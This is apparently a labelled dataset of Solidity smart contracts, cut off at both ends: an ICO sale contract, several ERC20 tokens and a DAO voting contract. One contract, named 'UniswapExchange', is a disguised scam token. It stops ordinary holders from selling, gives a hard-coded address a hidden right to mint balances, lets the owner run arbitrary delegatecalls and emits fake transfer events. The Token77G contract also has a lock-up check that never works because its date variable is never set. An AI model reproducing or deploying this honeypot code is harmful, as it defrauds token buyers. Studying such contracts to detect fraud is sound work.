function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Token77G is Claimable, StandardToken {
string constant public name = "GraphenTech";
string constant public symbol = "77G";
uint8 constant public decimals = 18;
uint256 public graphenRestrictedDate;
mapping (address => uint256) private restrictedTokens;
address[] private addList;
address private icoadd;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function Token77G(
address _team,
address _reserve,
address _advisors,
uint _deadLine
)
public
{
icoadd = msg.sender;
totalSupply_ = (19000000000) * 10 ** uint256(decimals);
balances[_reserve] = balances[_reserve].add((1890500000) * 10 ** uint256(decimals));
addAddress(_reserve);
emit Transfer(icoadd, _reserve, (1890500000) * 10 ** uint256(decimals));
allocateTokens(_team, (1330000000) * 10 ** uint256(decimals));
emit Transfer(icoadd, _team, (1330000000) * 10 ** uint256(decimals));
balances[_advisors] = balances[_advisors].add((950000000) * 10 ** uint256(decimals));
addAddress(_advisors);
emit Transfer(icoadd, _advisors, (950000000) * 10 ** uint256(decimals));
balances[icoadd] = (14829500000) * 10 **uint256(decimals);
graphenRestrictedDate = _deadLine;
}
function restrictedTokensOf(address _add) public view returns(uint restrctedTokens) {
return restrictedTokens[_add];
}
function transfer(address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
require((now < tmpRestrictedDate && _value <= (balances[msg.sender].sub(restrictedTokens[msg.sender])))||now >= tmpRestrictedDate);
}
if (balances[_to] == 0) addAddress(_to);
_transfer(_to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 tmpRestrictedDate;
if (restrictedTokens[msg.sender] > 0) {
require((now < tmpRestrictedDate && _value <= (balances[msg.sender]-restrictedTokens[msg.sender]))||now >= tmpRestrictedDate);
}
if (balances[_to] == 0)addAddress(_to);
super.transferFrom(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, 0x0, _value);
return true;
}
function getAddressFromList(uint256 _index)public view returns (address add) {
require(_index < addList.length);
return addList[_index];
}
function getAddListSize()public view returns (uint) {
return addList.length;
}
function allocateTokens(address _add, uint256 _value) private {
balances[_add] = balances[_add].add(_value);
restrictedTokens[_add] = restrictedTokens[_add].add(_value);
addAddress(_add);
}
function _transfer(address _to, uint256 _value) private {
require(_to != 0x0);
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[msg.sender].add(balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
assert(balances[msg.sender] + balances[_to] == previousBalances);
}
function addAddress(address _add) private {
addList.push(_add);
}
}
contract ICO_Graphene is Claimable {
using SafeMath for uint256;
uint256 public availablePrivateICO;
uint256 public availablePreICO;
uint256 public availableICO_w1;
uint256 public availableICO_w2;
uint256 public availableICO;
uint256 public amountRaised;
uint256 public tokensSold;
uint256 private decimals;
uint256 public startPrivateICO = 1528329600;
uint256 public endPrivateICO = 1532649599;
uint256 public startPreICO = 1532649600;
uint256 public endPreICO = 1535327999;
uint256 public startICO_w1 = 1535328000;
uint256 public endICO_w1 = 1538006399;
uint256 public startICO_w2 = 1538006400;
uint256 public endICO_w2 = 1540684799;
enum StatusList { NotStarted, Running, Waiting, Closed, Paused}
StatusList public status;
enum StagesList { N_A, PrivateICO, PreICO, ICO_w1, ICO_w2}
StagesList public stage;
uint256[5] private tokenPrice;
Token77G private tokenReward;
uint256 public restrictedTokensDate = 1550447999;
address public tokenAdd;
mapping(address => uint256) public purchaseMap;
address constant private TOKENSRESERVE = 0xA89779a50b3540677495e12eA09f02B6Bf09803F;
address constant private TEAM = 0x39E545F03d26334d735815Bb9882423cE46d8326;
address constant private ADVISORS = 0x96DFaBbD575C48d82e5bCC92f64E0349Da60712a;
address constant private SALARIES = 0x99330754059f1348296526a52AA4F787a7648B46;
address constant private MARKETINGandBUSINESS = 0x824663D62c22f2592c5a3DC37638C09907adE7Ec;
address constant private RESEARCHandDEVELOPMENT = 0x7156023Cd4579Eb6a7A171062A44574809B353C8;
address constant private RESERVE = 0xAE55c485Fe70Ce6E547A30f5F4b28F32D9c1c093;
address constant private FACTORIES = 0x30CF1d5F0c561118fA017f15B86f914ef5C078e6;
address constant private PLANEQUIPMENT = 0xC74c83d8eC7c6233715b0aD8Ba4da8f72301fA24;
address constant private PRODUCTION = 0xEa0553a23469cb7140190d443762d70664a36343;
event Purchase(address _from, uint _amount, uint _tokens);
modifier onlyInState (StatusList _status) {
require(_status == status);
_;
}
modifier onlyIfNotPaused() {
require(status != StatusList.Paused);
_;
}
function ICO_Graphene() public {
tokenReward = new Token77G(TEAM, TOKENSRESERVE, ADVISORS, restrictedTokensDate);
tokenAdd = tokenReward;
decimals = tokenReward.decimals();
status = StatusList.NotStarted;
stage = StagesList.N_A;
amountRaised = 0;
tokensSold = 0;
availablePrivateICO = (1729000000) * 10 ** uint256(decimals);
availablePreICO = (3325000000) * 10 ** uint256(decimals);
availableICO_w1 = (5120500000) * 10 ** uint256(decimals);
availableICO_w2 = (4655000000) * 10 ** uint256(decimals);
tokenPrice = [0, 13860000000000, 14850000000000, 17820000000000, 19800000000000];
}
function () public payable onlyIfNotPaused {
updateStatus();
if (stage == StagesList.PrivateICO) {
require(msg.value >= 1000000000000000000 wei);
}
_transfer();
updateStatusViaTokens();
}
function kill()
external onlyOwner onlyInState(StatusList.Closed) {
selfdestruct(owner);
}
function pause() public onlyOwner {
updateStatus();
require(status != StatusList.Closed);
status = StatusList.Paused;
}
function unpause() public onlyOwner onlyInState(StatusList.Paused) {
updateStatus();
updateStatusViaTokens();
}
function setNewICOTime(
uint _startPrivateICO,
uint _endPrivateICO,
uint _startPreICO,
uint _endPreICO,
uint _startICO_w1,
uint _endICO_w1,
uint _startICO_w2,
uint _endICO_w2
)
public
onlyOwner onlyInState(StatusList.NotStarted) {
require(now < startPrivateICO && startPrivateICO < endPrivateICO && startPreICO < endPreICO && startICO_w1 < endICO_w1 && startICO_w2 < endICO_w2);
startPrivateICO = _startPrivateICO;
endPrivateICO = _endPrivateICO;
startPreICO = _startPreICO;
endPreICO = _endPreICO;
startICO_w1 = _startICO_w1;
endICO_w1 = _endICO_w1;
startICO_w2 = _startICO_w2;
endICO_w2 = _endICO_w2;
}
function closeICO() public onlyOwner {
updateStatus();
require(status == StatusList.Closed);
transferExcessTokensToReserve();
}
function transferExcessTokensToReserve() internal {
availableICO = tokenReward.balanceOf(this);
if (availableICO > 0) {
tokenReward.transfer(TOKENSRESERVE, availableICO);
}
}
function updateStatus() internal {
if (now >= endICO_w2) {
status = StatusList.Closed;
} else {
if ((now > endPrivateICO && now < startPreICO) || (now > endPreICO && now < startICO_w1)) {
status = StatusList.Waiting;
} else {
if (now < startPrivateICO) {
status = StatusList.NotStarted;
} else {
status = StatusList.Running;
updateStages();
}
}
}
}
function updateStatusViaTokens() internal {
availableICO = tokenReward.balanceOf(this);
if (availablePrivateICO == 0 && stage == StagesList.PrivateICO) status = StatusList.Waiting;
if (availablePreICO == 0 && stage == StagesList.PreICO) status = StatusList.Waiting;
if (availableICO_w1 == 0 && stage == StagesList.ICO_w1) status = StatusList.Waiting;
if (availableICO_w2 == 0 && stage == StagesList.ICO_w2) status = StatusList.Waiting;
if (availableICO == 0) status = StatusList.Closed;
}
function updateStages() internal onlyInState(StatusList.Running) {
if (now <= endPrivateICO && now > startPrivateICO) { stage = StagesList.PrivateICO; return;}
if (now <= endPreICO && now > startPreICO) { stage = StagesList.PreICO; return;}
if (now <= endICO_w1 && now > startICO_w1) { stage = StagesList.ICO_w1; return;}
if (now <= endICO_w2 && now > startICO_w2) { stage = StagesList.ICO_w2; return;}
stage = StagesList.N_A;
}
function _transfer() private onlyInState(StatusList.Running) {
uint amount = msg.value;
uint amountToReturn = 0;
uint tokens = 0;
(tokens, amountToReturn) = getTokens(amount);
purchaseMap[msg.sender] = purchaseMap[msg.sender].add(amount);
tokensSold = tokensSold.add(tokens);
amount = amount.sub(amountToReturn);
amountRaised = amountRaised.add(amount);
if (stage == StagesList.PrivateICO) availablePrivateICO = availablePrivateICO.sub(tokens);
if (stage == StagesList.PreICO) availablePreICO = availablePreICO.sub(tokens);
if (stage == StagesList.ICO_w1) availableICO_w1 = availableICO_w1.sub(tokens);
if (stage == StagesList.ICO_w2) availableICO_w2 = availableICO_w2.sub(tokens);
tokenReward.transfer(msg.sender, tokens);
sendETH(amount);
if (amountToReturn > 0) {
bool refound = msg.sender.send(amountToReturn);
require(refound);
}
emit Purchase(msg.sender, amount, tokens);
}
function getTokens(uint256 _value)
private view
onlyInState(StatusList.Running)
returns(uint256 numTokens, uint256 amountToReturn) {
uint256 eths = _value.mul(10**decimals);
numTokens = 0;
uint256 tokensAvailable = 0;
numTokens = eths.div(tokenPrice[uint256(stage)]);
if (stage == StagesList.PrivateICO) {
tokensAvailable = availablePrivateICO;
} else if (stage == StagesList.PreICO) {
tokensAvailable = availablePreICO;
} else if (stage == StagesList.ICO_w1) {
tokensAvailable = availableICO_w1;
} else if (stage == StagesList.ICO_w2) {
tokensAvailable = availableICO_w2;
}
if (tokensAvailable >= numTokens) {
amountToReturn = 0;
} else {
numTokens = tokensAvailable;
amountToReturn = _value.sub(numTokens.div(10**decimals).mul(tokenPrice[uint256(stage)]));
}
return (numTokens, amountToReturn);
}
function sendETH(uint _amount) private {
uint paymentSALARIES = _amount.mul(3).div(100);
uint paymentMARKETINGandBUSINESS = _amount.mul(4).div(100);
uint paymentRESEARCHandDEVELOPMENT = _amount.mul(14).div(100);
uint paymentRESERVE = _amount.mul(18).div(100);
uint paymentFACTORIES = _amount.mul(24).div(100);
uint paymentPLANEQUIPMENT = _amount.mul(19).div(100);
uint paymentPRODUCTION = _amount.mul(18).div(100);
SALARIES.transfer(paymentSALARIES);
MARKETINGandBUSINESS.transfer(paymentMARKETINGandBUSINESS);
RESEARCHandDEVELOPMENT.transfer(paymentRESEARCHandDEVELOPMENT);
RESERVE.transfer(paymentRESERVE);
FACTORIES.transfer(paymentFACTORIES);
PLANEQUIPMENT.transfer(paymentPLANEQUIPMENT);
PRODUCTION.transfer(paymentPRODUCTION);
}
} | 1 | 4,098 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LSTC is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "LSTC";
name = "Lake Solar Token Coin";
decimals = 2;
_totalSupply = 1000000000;
balances[0x1CDcD5ba05D8f4823cdf7921ebc8e932a5Cb0517] = _totalSupply;
emit Transfer(address(0), 0x1CDcD5ba05D8f4823cdf7921ebc8e932a5Cb0517, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,129 |
pragma solidity ^0.4.12;
contract LifestyleHouseCoin {
uint public constant _totalSupply = 200000000000000000000000000;
string public constant symbol = "LHC";
string public constant name = "Lifestyle House Coin";
uint8 public constant decimals = 18;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
function LifestyleHouseCoin() {
balances[msg.sender] = _totalSupply;
}
function totalSupply() constant returns (uint256 totalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer (address _to, uint256 _value) returns (bool success) {
require(
balances[msg.sender] >= _value
&& _value > 0
);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(
allowed[_from][msg.sender] >= _value
&& balances[_from] >= _value
&& _value > 0
);
balances[_from] -= _value;
balances[_to] += _value;
allowed [_from][msg.sender] -= _value;
Transfer (_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,388 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,583 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract tokenRecipient {
event receivedEther(address sender, uint amount);
event receivedTokens(address _from, uint256 _value, address _token, bytes _extraData);
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public {
Token t = Token(_token);
require(t.transferFrom(_from, this, _value));
receivedTokens(_from, _value, _token, _extraData);
}
function () payable public {
receivedEther(msg.sender, msg.value);
}
}
interface Token {
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract Congress is owned, tokenRecipient {
uint public minimumQuorum;
uint public debatingPeriodInMinutes;
int public majorityMargin;
Proposal[] public proposals;
uint public numProposals;
mapping (address => uint) public memberId;
Member[] public members;
event ProposalAdded(uint proposalID, address recipient, uint amount, string description);
event Voted(uint proposalID, bool position, address voter, string justification);
event ProposalTallied(uint proposalID, int result, uint quorum, bool active);
event MembershipChanged(address member, bool isMember);
event ChangeOfRules(uint newMinimumQuorum, uint newDebatingPeriodInMinutes, int newMajorityMargin);
struct Proposal {
address recipient;
uint amount;
string description;
uint votingDeadline;
bool executed;
bool proposalPassed;
uint numberOfVotes;
int currentResult;
bytes32 proposalHash;
Vote[] votes;
mapping (address => bool) voted;
}
struct Member {
address member;
string name;
uint memberSince;
}
struct Vote {
bool inSupport;
address voter;
string justification;
}
modifier onlyMembers {
require(memberId[msg.sender] != 0);
_;
}
function Congress (
uint minimumQuorumForProposals,
uint minutesForDebate,
int marginOfVotesForMajority
) payable public {
changeVotingRules(minimumQuorumForProposals, minutesForDebate, marginOfVotesForMajority);
addMember(0, "");
addMember(owner, 'founder');
}
function addMember(address targetMember, string memberName) onlyOwner public {
uint id = memberId[targetMember];
if (id == 0) {
memberId[targetMember] = members.length;
id = members.length++;
}
members[id] = Member({member: targetMember, memberSince: now, name: memberName});
MembershipChanged(targetMember, true);
}
function removeMember(address targetMember) onlyOwner public {
require(memberId[targetMember] != 0);
for (uint i = memberId[targetMember]; i<members.length-1; i++){
members[i] = members[i+1];
}
delete members[members.length-1];
members.length--;
}
function changeVotingRules(
uint minimumQuorumForProposals,
uint minutesForDebate,
int marginOfVotesForMajority
) onlyOwner public {
minimumQuorum = minimumQuorumForProposals;
debatingPeriodInMinutes = minutesForDebate;
majorityMargin = marginOfVotesForMajority;
ChangeOfRules(minimumQuorum, debatingPeriodInMinutes, majorityMargin);
}
function newProposal(
address beneficiary,
uint weiAmount,
string jobDescription,
bytes transactionBytecode
)
onlyMembers public
returns (uint proposalID)
{
proposalID = proposals.length++;
Proposal storage p = proposals[proposalID];
p.recipient = beneficiary;
p.amount = weiAmount;
p.description = jobDescription;
p.proposalHash = keccak256(beneficiary, weiAmount, transactionBytecode);
p.votingDeadline = now + debatingPeriodInMinutes * 1 minutes;
p.executed = false;
p.proposalPassed = false;
p.numberOfVotes = 0;
ProposalAdded(proposalID, beneficiary, weiAmount, jobDescription);
numProposals = proposalID+1;
return proposalID;
}
function newProposalInEther(
address beneficiary,
uint etherAmount,
string jobDescription,
bytes transactionBytecode
)
onlyMembers public
returns (uint proposalID)
{
return newProposal(beneficiary, etherAmount * 1 ether, jobDescription, transactionBytecode);
}
function checkProposalCode(
uint proposalNumber,
address beneficiary,
uint weiAmount,
bytes transactionBytecode
)
constant public
returns (bool codeChecksOut)
{
Proposal storage p = proposals[proposalNumber];
return p.proposalHash == keccak256(beneficiary, weiAmount, transactionBytecode);
}
function vote(
uint proposalNumber,
bool supportsProposal,
string justificationText
)
